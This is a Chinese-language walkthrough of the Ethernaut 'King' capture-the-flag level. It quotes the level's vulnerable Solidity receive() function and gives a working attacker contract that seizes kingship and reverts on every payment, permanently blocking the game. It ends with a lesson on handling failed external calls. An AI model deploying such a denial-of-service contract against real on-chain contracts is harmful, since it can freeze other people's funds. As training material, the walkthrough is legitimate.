(https://ethernaut.openzeppelin.com/level/0x43BA674B4fbb8B157b7441C2187bCdD2cdF84FD5)
這關有個有趣的遊戲規則,一開始的合約的Owner為King,同時擁有一定數量的價值,當有別人轉給這個合約超過或等於原本的價值,那這個別人就會變成新的King,而轉過來的價值則會轉給原本的King,同時設定新的價值為新轉過的的價值數量,說著有點囉嗦,呈上程式碼:
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
這一關的目標是希望弄壞這個遊戲,當你變成King後,Submit level,遊戲會再轉給這個合約一筆大於目前價值的Value,再次取回King的位置,讓這個遊戲繼續下去,我們的目標就是打破這個情況。
要打破這個情況,我們先假設如果將價值轉出去的過程出錯了怎麼辦?以智能合約的出錯處理機制,除了require()來協助驗證是否有問題以外,若發現有問題,我們可以用revert()來將出錯的情況給rollback,revert()會退回到呼叫程式的起點,並且不收gas-fee。因此,回到此關,若我們取得King的位置後,當有人要再取回King時,會將一個value transfer給我們,若此時的receive payable()函數永遠都revert(),那麼,就沒有人能完成再取回King的程式了!
因此,在Remix上我們編寫如下的合約並Deploy(先查一下目前的king的balance ( awiat web3.eth.getBalance(instance); )要讓king收到>=這個數值的wei):
contract KillKing{
constructor(address _instance) payable {
_instance.call{value: 1000000000000001 wei}("");
}
receive() external payable{
revert("king say no, you can't get it");
}
}
*takeaways
- 需要考慮當程式出現問題時的處理(error handling),不能假設對外呼叫的程式均能永遠正常運作。